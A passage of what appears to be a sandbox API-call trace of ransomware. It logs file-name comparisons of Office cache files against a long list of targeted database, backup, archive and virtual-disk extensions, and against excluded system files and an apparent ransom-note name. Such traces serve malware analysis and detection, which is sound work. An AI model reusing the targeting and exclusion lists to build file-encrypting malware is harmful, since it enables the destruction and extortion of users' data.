	[0077.639] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.640] lstrlenW (lpString="ade") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0077.640] lstrlenW (lpString="adf") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0077.640] lstrlenW (lpString="adn") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0077.640] lstrlenW (lpString="adp") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0077.640] lstrlenW (lpString="alf") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0077.640] lstrlenW (lpString="ask") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0077.640] lstrlenW (lpString="btr") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0077.640] lstrlenW (lpString="cat") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0077.640] lstrlenW (lpString="cdb") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0077.640] lstrlenW (lpString="ckp") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0077.640] lstrlenW (lpString="cma") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0077.640] lstrlenW (lpString="cpd") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0077.640] lstrlenW (lpString="dacpac") returned 6
	[0077.640] lstrcmpiW (lpString1="WW.cab", lpString2="dacpac") returned 1
	[0077.640] lstrlenW (lpString="dad") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0077.640] lstrlenW (lpString="dadiagrams") returned 10
	[0077.640] lstrcmpiW (lpString1="roPrWW.cab", lpString2="dadiagrams") returned 1
	[0077.640] lstrlenW (lpString="daschema") returned 8
	[0077.640] lstrcmpiW (lpString1="PrWW.cab", lpString2="daschema") returned 1
	[0077.640] lstrlenW (lpString="db-journal") returned 10
	[0077.640] lstrcmpiW (lpString1="roPrWW.cab", lpString2="db-journal") returned 1
	[0077.640] lstrlenW (lpString="db-shm") returned 6
	[0077.640] lstrcmpiW (lpString1="WW.cab", lpString2="db-shm") returned 1
	[0077.640] lstrlenW (lpString="db-wal") returned 6
	[0077.640] lstrcmpiW (lpString1="WW.cab", lpString2="db-wal") returned 1
	[0077.640] lstrlenW (lpString="dbc") returned 3
	[0077.640] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0077.640] lstrlenW (lpString="dbs") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0077.641] lstrlenW (lpString="dbt") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0077.641] lstrlenW (lpString="dbv") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0077.641] lstrlenW (lpString="dbx") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0077.641] lstrlenW (lpString="dcb") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0077.641] lstrlenW (lpString="dct") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0077.641] lstrlenW (lpString="dcx") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0077.641] lstrlenW (lpString="ddl") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0077.641] lstrlenW (lpString="dlis") returned 4
	[0077.641] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0077.641] lstrlenW (lpString="dp1") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0077.641] lstrlenW (lpString="dqy") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0077.641] lstrlenW (lpString="dsk") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0077.641] lstrlenW (lpString="dsn") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0077.641] lstrlenW (lpString="dtsx") returned 4
	[0077.641] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0077.641] lstrlenW (lpString="dxl") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0077.641] lstrlenW (lpString="eco") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0077.641] lstrlenW (lpString="ecx") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0077.641] lstrlenW (lpString="edb") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0077.641] lstrlenW (lpString="epim") returned 4
	[0077.641] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0077.641] lstrlenW (lpString="fcd") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0077.641] lstrlenW (lpString="fdb") returned 3
	[0077.641] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0077.641] lstrlenW (lpString="fic") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0077.642] lstrlenW (lpString="flexolibrary") returned 12
	[0077.642] lstrlenW (lpString="fm5") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0077.642] lstrlenW (lpString="fmp") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0077.642] lstrlenW (lpString="fmp12") returned 5
	[0077.642] lstrcmpiW (lpString1="W.cab", lpString2="fmp12") returned 1
	[0077.642] lstrlenW (lpString="fmpsl") returned 5
	[0077.642] lstrcmpiW (lpString1="W.cab", lpString2="fmpsl") returned 1
	[0077.642] lstrlenW (lpString="fol") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0077.642] lstrlenW (lpString="fp3") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0077.642] lstrlenW (lpString="fp4") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0077.642] lstrlenW (lpString="fp5") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0077.642] lstrlenW (lpString="fp7") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0077.642] lstrlenW (lpString="fpt") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0077.642] lstrlenW (lpString="frm") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0077.642] lstrlenW (lpString="gdb") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0077.642] lstrlenW (lpString="gdb") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0077.642] lstrlenW (lpString="grdb") returned 4
	[0077.642] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0077.642] lstrlenW (lpString="gwi") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0077.642] lstrlenW (lpString="hdb") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0077.642] lstrlenW (lpString="his") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0077.642] lstrlenW (lpString="ib") returned 2
	[0077.642] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0077.642] lstrlenW (lpString="idb") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0077.642] lstrlenW (lpString="ihx") returned 3
	[0077.642] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0077.642] lstrlenW (lpString="itdb") returned 4
	[0077.643] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0077.643] lstrlenW (lpString="itw") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0077.643] lstrlenW (lpString="jet") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0077.643] lstrlenW (lpString="jtx") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0077.643] lstrlenW (lpString="kdb") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0077.643] lstrlenW (lpString="kexi") returned 4
	[0077.643] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0077.643] lstrlenW (lpString="kexic") returned 5
	[0077.643] lstrcmpiW (lpString1="W.cab", lpString2="kexic") returned 1
	[0077.643] lstrlenW (lpString="kexis") returned 5
	[0077.643] lstrcmpiW (lpString1="W.cab", lpString2="kexis") returned 1
	[0077.643] lstrlenW (lpString="lgc") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0077.643] lstrlenW (lpString="lwx") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0077.643] lstrlenW (lpString="maf") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0077.643] lstrlenW (lpString="maq") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0077.643] lstrlenW (lpString="mar") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0077.643] lstrlenW (lpString="marshal") returned 7
	[0077.643] lstrcmpiW (lpString1="rWW.cab", lpString2="marshal") returned 1
	[0077.643] lstrlenW (lpString="mas") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0077.643] lstrlenW (lpString="mav") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0077.643] lstrlenW (lpString="maw") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0077.643] lstrlenW (lpString="mdbhtml") returned 7
	[0077.643] lstrcmpiW (lpString1="rWW.cab", lpString2="mdbhtml") returned 1
	[0077.643] lstrlenW (lpString="mdn") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0077.643] lstrlenW (lpString="mdt") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0077.643] lstrlenW (lpString="mfd") returned 3
	[0077.643] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0077.643] lstrlenW (lpString="mpd") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0077.644] lstrlenW (lpString="mrg") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0077.644] lstrlenW (lpString="mud") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0077.644] lstrlenW (lpString="mwb") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0077.644] lstrlenW (lpString="myd") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0077.644] lstrlenW (lpString="ndf") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0077.644] lstrlenW (lpString="nnt") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0077.644] lstrlenW (lpString="nrmlib") returned 6
	[0077.644] lstrcmpiW (lpString1="WW.cab", lpString2="nrmlib") returned 1
	[0077.644] lstrlenW (lpString="ns2") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0077.644] lstrlenW (lpString="ns3") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0077.644] lstrlenW (lpString="ns4") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0077.644] lstrlenW (lpString="nsf") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0077.644] lstrlenW (lpString="nv") returned 2
	[0077.644] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0077.644] lstrlenW (lpString="nv2") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0077.644] lstrlenW (lpString="nwdb") returned 4
	[0077.644] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0077.644] lstrlenW (lpString="nyf") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0077.644] lstrlenW (lpString="odb") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0077.644] lstrlenW (lpString="odb") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0077.644] lstrlenW (lpString="oqy") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0077.644] lstrlenW (lpString="ora") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0077.644] lstrlenW (lpString="orx") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0077.644] lstrlenW (lpString="owc") returned 3
	[0077.644] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0077.645] lstrlenW (lpString="p96") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0077.645] lstrlenW (lpString="p97") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0077.645] lstrlenW (lpString="pan") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0077.645] lstrlenW (lpString="pdb") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0077.645] lstrlenW (lpString="pdm") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0077.645] lstrlenW (lpString="pnz") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0077.645] lstrlenW (lpString="qry") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0077.645] lstrlenW (lpString="qvd") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0077.645] lstrlenW (lpString="rbf") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0077.645] lstrlenW (lpString="rctd") returned 4
	[0077.645] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0077.645] lstrlenW (lpString="rod") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0077.645] lstrlenW (lpString="rodx") returned 4
	[0077.645] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0077.645] lstrlenW (lpString="rpd") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0077.645] lstrlenW (lpString="rsd") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0077.645] lstrlenW (lpString="sas7bdat") returned 8
	[0077.645] lstrcmpiW (lpString1="PrWW.cab", lpString2="sas7bdat") returned -1
	[0077.645] lstrlenW (lpString="sbf") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0077.645] lstrlenW (lpString="scx") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0077.645] lstrlenW (lpString="sdb") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0077.645] lstrlenW (lpString="sdc") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0077.645] lstrlenW (lpString="sdf") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0077.645] lstrlenW (lpString="sis") returned 3
	[0077.645] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0077.646] lstrlenW (lpString="spq") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0077.646] lstrlenW (lpString="te") returned 2
	[0077.646] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0077.646] lstrlenW (lpString="teacher") returned 7
	[0077.646] lstrcmpiW (lpString1="rWW.cab", lpString2="teacher") returned -1
	[0077.646] lstrlenW (lpString="tmd") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0077.646] lstrlenW (lpString="tps") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0077.646] lstrlenW (lpString="trc") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0077.646] lstrlenW (lpString="trc") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0077.646] lstrlenW (lpString="trm") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0077.646] lstrlenW (lpString="udb") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0077.646] lstrlenW (lpString="udl") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0077.646] lstrlenW (lpString="usr") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0077.646] lstrlenW (lpString="v12") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0077.646] lstrlenW (lpString="vis") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0077.646] lstrlenW (lpString="vpd") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0077.646] lstrlenW (lpString="vvv") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0077.646] lstrlenW (lpString="wdb") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0077.646] lstrlenW (lpString="wmdb") returned 4
	[0077.646] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0077.646] lstrlenW (lpString="wrk") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0077.646] lstrlenW (lpString="xdb") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0077.646] lstrlenW (lpString="xld") returned 3
	[0077.646] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0077.646] lstrlenW (lpString="xmlff") returned 5
	[0077.646] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1
	[0077.646] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="Apollon865.txt.exe") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="..") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="windows") returned -1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="bootmgr") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="temp") returned -1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="pagefile.sys") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="boot") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="ids.txt") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="ntuser.dat") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="perflogs") returned 1
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="MSBuild") returned 1
	[0077.647] lstrlenW (lpString="ProPrWW2.cab") returned 12
	[0077.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0077.647] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="ProPrWW2.cab" | out: lpString1="ProPrWW2.cab") returned="ProPrWW2.cab"
	[0077.647] lstrlenW (lpString="ProPrWW2.cab") returned 12
	[0077.647] lstrlenW (lpString="Apollon865") returned 10
	[0077.647] lstrcmpiW (lpString1="oPrWW2.cab", lpString2="Apollon865") returned 1
	[0077.647] lstrlenW (lpString=".dll") returned 4
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".dll") returned 1
	[0077.647] lstrlenW (lpString=".lnk") returned 4
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".lnk") returned 1
	[0077.647] lstrlenW (lpString=".ini") returned 4
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".ini") returned 1
	[0077.647] lstrlenW (lpString=".sys") returned 4
	[0077.647] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".sys") returned 1
	[0077.647] lstrlenW (lpString="ProPrWW2.cab") returned 12
	[0077.647] lstrlenW (lpString="bak") returned 3
	[0077.647] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0077.647] lstrlenW (lpString="ba_") returned 3
	[0077.647] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0077.647] lstrlenW (lpString="dbb") returned 3
	[0077.647] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0077.647] lstrlenW (lpString="vmdk") returned 4
	[0077.647] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0077.647] lstrlenW (lpString="rar") returned 3
	[0077.647] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0077.647] lstrlenW (lpString="zip") returned 3
	[0077.647] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0077.647] lstrlenW (lpString="tgz") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0077.648] lstrlenW (lpString="vbox") returned 4
	[0077.648] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0077.648] lstrlenW (lpString="vdi") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0077.648] lstrlenW (lpString="vhd") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0077.648] lstrlenW (lpString="vhdx") returned 4
	[0077.648] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0077.648] lstrlenW (lpString="avhd") returned 4
	[0077.648] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0077.648] lstrlenW (lpString="db") returned 2
	[0077.648] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0077.648] lstrlenW (lpString="db2") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0077.648] lstrlenW (lpString="db3") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0077.648] lstrlenW (lpString="dbf") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0077.648] lstrlenW (lpString="mdf") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0077.648] lstrlenW (lpString="mdb") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0077.648] lstrlenW (lpString="sql") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0077.648] lstrlenW (lpString="sqlite") returned 6
	[0077.648] lstrcmpiW (lpString1="W2.cab", lpString2="sqlite") returned 1
	[0077.648] lstrlenW (lpString="sqlite3") returned 7
	[0077.648] lstrcmpiW (lpString1="WW2.cab", lpString2="sqlite3") returned 1
	[0077.648] lstrlenW (lpString="sqlitedb") returned 8
	[0077.648] lstrcmpiW (lpString1="rWW2.cab", lpString2="sqlitedb") returned -1
	[0077.648] lstrlenW (lpString="xml") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0077.648] lstrlenW (lpString="$er") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0077.648] lstrlenW (lpString="4dd") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0077.648] lstrlenW (lpString="4dl") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0077.648] lstrlenW (lpString="^^^") returned 3
	[0077.648] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0077.649] lstrlenW (lpString="abs") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0077.649] lstrlenW (lpString="abx") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0077.649] lstrlenW (lpString="accdb") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accdb") returned -1
	[0077.649] lstrlenW (lpString="accdc") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accdc") returned -1
	[0077.649] lstrlenW (lpString="accde") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accde") returned -1
	[0077.649] lstrlenW (lpString="accdr") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accdr") returned -1
	[0077.649] lstrlenW (lpString="accdt") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accdt") returned -1
	[0077.649] lstrlenW (lpString="accdw") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accdw") returned -1
	[0077.649] lstrlenW (lpString="accft") returned 5
	[0077.649] lstrcmpiW (lpString1="2.cab", lpString2="accft") returned -1
	[0077.649] lstrlenW (lpString="adb") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.649] lstrlenW (lpString="adb") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.649] lstrlenW (lpString="ade") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0077.649] lstrlenW (lpString="adf") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0077.649] lstrlenW (lpString="adn") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0077.649] lstrlenW (lpString="adp") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0077.649] lstrlenW (lpString="alf") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0077.649] lstrlenW (lpString="ask") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0077.649] lstrlenW (lpString="btr") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0077.649] lstrlenW (lpString="cat") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0077.649] lstrlenW (lpString="cdb") returned 3
	[0077.649] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0077.649] lstrlenW (lpString="ckp") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0077.650] lstrlenW (lpString="cma") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0077.650] lstrlenW (lpString="cpd") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0077.650] lstrlenW (lpString="dacpac") returned 6
	[0077.650] lstrcmpiW (lpString1="W2.cab", lpString2="dacpac") returned 1
	[0077.650] lstrlenW (lpString="dad") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0077.650] lstrlenW (lpString="dadiagrams") returned 10
	[0077.650] lstrcmpiW (lpString1="oPrWW2.cab", lpString2="dadiagrams") returned 1
	[0077.650] lstrlenW (lpString="daschema") returned 8
	[0077.650] lstrcmpiW (lpString1="rWW2.cab", lpString2="daschema") returned 1
	[0077.650] lstrlenW (lpString="db-journal") returned 10
	[0077.650] lstrcmpiW (lpString1="oPrWW2.cab", lpString2="db-journal") returned 1
	[0077.650] lstrlenW (lpString="db-shm") returned 6
	[0077.650] lstrcmpiW (lpString1="W2.cab", lpString2="db-shm") returned 1
	[0077.650] lstrlenW (lpString="db-wal") returned 6
	[0077.650] lstrcmpiW (lpString1="W2.cab", lpString2="db-wal") returned 1
	[0077.650] lstrlenW (lpString="dbc") returned 3
